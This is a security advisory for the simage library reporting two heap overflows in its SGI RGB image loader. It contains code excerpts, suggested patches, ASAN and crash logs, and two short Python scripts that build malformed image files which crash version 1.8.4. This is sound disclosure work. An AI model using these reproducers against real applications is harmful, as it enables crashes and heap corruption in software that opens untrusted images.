Skip to content

Heap buffer overflow (out-of-bounds write) in the SGI RGB loader, reachable from `simage_read_image()`

Moderate
VolkerEnderlein published GHSA-wj7q-pq96-vq3p Sep 8, 2026

Package

other

Affected versions

<= 1.8.4

Patched versions

>= 1.8.5

Description

Issue 1 — unvalidated component count overflows a fixed 4-element array

The header's zsize (component count) is read from the file and used without validation:

/* simage_rgb_open(), src/simage_rgb.c */
od->nc = (int) size[2];                                /* line 275: from the file, unchecked */
...
for (i = 0; i < od->nc; i++) {                         /* line 280 */
    od->tmpbuf[i] = (unsigned char *) malloc(od->w);   /* line 281 */
}

tmpbuf has a fixed length of 4 and is the last member of the struct:

typedef struct {
  ...
  unsigned char * rlebuf;
  int rlebuflen;
  unsigned char * tmpbuf[4];      /* line 52 */
} simage_rgb_opendata;

size[] is unsigned short, so nc reaches 65535. Any value above 4 writes live malloc()
pointers past the end of the 88-byte allocation — up to (65535 - 4) * 8, roughly 524 KB of
out-of-bounds 8-byte writes. simage_rgb_close() then calls free() across the same out-of-bounds
range.

Reproducer 1

#!/usr/bin/env python3
# 576 bytes. SGI RGB header: magic 0x01DA, type, dim, xsize, ysize, zsize, padded to 512.
import struct
b  = struct.pack('>HHH', 0x01DA, 0x0001, 3)   # magic, uncompressed 1 byte/pixel, dim=3
b += struct.pack('>HHH', 4, 4, 64)            # w=4  h=4  nc=64   <-- nc > 4
b += b'\x00' * (512 - len(b))
open('poc1.rgb', 'wb').write(b + b'\x00' * 64)

Then call simage_read_image("poc1.rgb", &w, &h, &nc). Under ASAN (-fsanitize=address -g -O1):

==313760==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x508000000078
WRITE of size 8 at 0x508000000078 thread T0
    #0 simage_rgb_open   src/simage_rgb.c:281:19
    #1 simage_rgb_load   src/simage_rgb.c:62:5
    #2 simage_read_image src/simage.c:305:7
0x508000000078 is located 0 bytes after 88-byte region [0x508000000020,0x508000000078)
allocated by thread T0 here:
    #1 simage_rgb_open   src/simage_rgb.c:270:31

Suggested fix 1

   od->nc = (int) size[2];
+  if (od->nc < 1 || od->nc > (int)(sizeof(od->tmpbuf) / sizeof(od->tmpbuf[0]))) {
+    rgberror = ERR_READ;
+    free(od);
+    fclose(in);
+    return NULL;
+  }

od->w and od->h come from the same unchecked header and feed malloc(od->w * 2) and
malloc(numlookup * 4). Separately, none of the malloc() calls in simage_rgb_open() are
NULL-checked.


Issue 2 — a negative row length defeats an upper-bound-only guard

For RLE images the per-row byte count comes from a table in the file and is held in a signed
int:

/* read_rgb_row_component(), src/simage_rgb.c */
rowlen = od->rowlen[y + c * od->h];      /* signed, straight from the file */
if (rowlen > od->rlebuflen) {            /* line 335: upper bound only */
    free(od->rlebuf);
    od->rlebuflen = rowlen;
    od->rlebuf = (unsigned char*) malloc(od->rlebuflen);
}
if (fread(od->rlebuf, 1, rowlen, od->in) != rowlen) {    /* line 340 */

A negative rowlen fails the > test, so the buffer is never grown, and is then handed to
fread() — whose size_t parameter turns -1 into SIZE_MAX. fread writes as much as the file
still contains into a buffer sized od->w * 2.

I confirmed the values at the call site with an instrumented build rather than inferring them from
reading the code:

PROBE y=0 c=0 w=8 h=1 nc=1 rowlen=-1 rlebuflen=16 rlebuf=0x502000000010
==313764==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000000020
WRITE of size 3578 at 0x502000000020 thread T0
    #0 fread
    #1 read_rgb_row_component src/simage_rgb.c:340:9
    #2 simage_rgb_read_line   src/simage_rgb.c:396:10
    #3 simage_rgb_load        src/simage_rgb.c:70:11
0x502000000020 is located 0 bytes after 16-byte region [0x502000000010,0x502000000020)

rowlen = -1 against rlebuflen = 16, so the regrow is not taken.

Reproducer 2

#!/usr/bin/env python3
# 4616 bytes. Same header, RLE flag set, one row-length entry set NEGATIVE.
import struct
w, h, nc = 8, 1, 1
b  = struct.pack('>HHH', 0x01DA, 0x0101, 3)   # 0x0101 => RLE compressed
b += struct.pack('>HHH', w, h, nc)
b += b'\x00' * (512 - len(b))
b += struct.pack('>I', 512 + 8 * (h * nc))    # rowseek[0] -> the data after both tables
b += struct.pack('>i', -1)                    # rowlen[0]  <-- negative
b += b'\xff' * 4096
open('poc2.rgb', 'wb').write(b)

Suggested fix 2

   rowlen = od->rowlen[y + c * od->h];
+  if (rowlen < 0) {
+    rgberror = ERR_READ;
+    return 0;
+  }
   if (rowlen > od->rlebuflen) {
     free(od->rlebuf);
     od->rlebuflen = rowlen;
     od->rlebuf = (unsigned char*) malloc(od->rlebuflen);
+    if (!od->rlebuf) { od->rlebuflen = 0; rgberror = ERR_READ; return 0; }
   }

od->rowseek[] is used as an fseek offset from the same unchecked table and is worth a look at
the same time.


Both crash a release build, and the control does not

Built from a clean checkout of v1.8.4, CMAKE_BUILD_TYPE=Release, -O2, no sanitizer
(nm drv | grep -c asan reports 0):

#### v1.8.4 RELEASE -O2 : poc1.rgb ####
corrupted size vs. prev_size
Aborted (core dumped)          exit=134

#### v1.8.4 RELEASE -O2 : poc2.rgb ####
munmap_chunk(): invalid pointer
Aborted (core dumped)          exit=134

#### CONTROL: v1.8.4's own tests/img.rgb, same binary ####
returned img=0x57f07dd4bd20 w=70 h=70 nc=3
clean exit                     exit=0

The control is your own test fixture on the same binary, so the aborts are caused by the malformed
input rather than by a broken build.

Impact

Any application calling simage_read_image() on an untrusted image file gets an attacker-controlled
heap write. Issue 1 lets an attacker choose how far past an allocation to write; issue 2 lets them
choose the bytes and the length. Both corrupt allocator metadata, which glibc detects and turns into
an abort.

I scored this 5.5 (AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) against what I actually demonstrated,
which is the abort. To be straight with you, that is the conservative reading: these are
out-of-bounds writes with attacker-controlled content, and that class is often scored higher. I
did not attempt to turn either primitive into anything past the crash, so I am not claiming more
than I showed. The number is yours to set.

Not established

  • No exploitation beyond the abort was attempted or demonstrated.
  • I have not shown that any particular downstream application feeds simage_read_image() genuinely
    remote input. simage is the image backend for Coin3D/Open Inventor, so the reachable input is
    whatever files the embedding application opens.
  • Only the RGB loader was analysed. The TGA, PIC and XWD loaders were compiled in and fuzzed in the
    same run, and I make no claim about them here.

Disclosure

If it would help, I would be glad to open a PR with both fixes and a regression test built from the
two reproducers above.

On disclosure, my preference in order:

  1. A published advisory once a fixed version is out, with a version number users can pin to.
    That is the part that actually helps downstream users, and it matters more to me than anything
    else here.
  2. Credit, if you give it. Entirely optional.

If you would rather handle this quietly with just a changelog note, that is completely fine — say so
and I will follow your lead. I am not putting you on a disclosure clock.

— reported by @spartan8806

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

CVE ID

No known CVE

Weaknesses

Improper Validation of Array Index

The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array. Learn more on MITRE.

Signed to Unsigned Conversion Error

The product uses a signed primitive and performs a cast to an unsigned primitive, which can produce an unexpected value if the value of the signed primitive can not be represented using an unsigned primitive. Learn more on MITRE.

Out-of-bounds Write

The product writes data past the end, or before the beginning, of the intended buffer. Learn more on MITRE.

Credits